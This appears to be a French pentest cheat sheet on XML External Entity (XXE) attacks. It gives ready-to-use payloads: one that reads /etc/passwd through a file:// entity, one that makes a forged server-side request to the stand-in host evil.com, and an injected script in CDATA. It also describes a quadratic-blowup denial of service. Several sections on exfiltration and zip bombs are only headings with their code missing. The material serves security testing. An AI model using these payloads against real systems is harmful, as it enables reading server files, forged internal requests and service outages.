📃XXE
Basic LFI
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<element>
&xxe;
</element>SSRF via XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://evil.com/"> ]>
<element>
&xxe;
</element>XSS via XXE
<element>
<![CDATA['><script>alert(1);</script>]]>
</element>XXE avec Xinclude
DoS
Billion laughs attack
Quadratic Blowup
Si un attaquant définit l’entité &x; avec 55000 caractères et se réfère à cette entité 55000 fois à l’intérieur de l’élément "DoS", l’analyseur se retrouve avec une charge utile d’attaque de blowup quadratique XML légèrement supérieure à 200 Ko qui passe à 2,5 Go lors du parsing.
Script python:
Zip bomb
Exfiltration de données
Avec Burp collab
Exploit server
Mettre ce payload dans un fichier .dtd
Victim server
Via message d'erreur
Exploit server
Victim server
Mis à jour
Ce contenu vous a-t-il été utile ?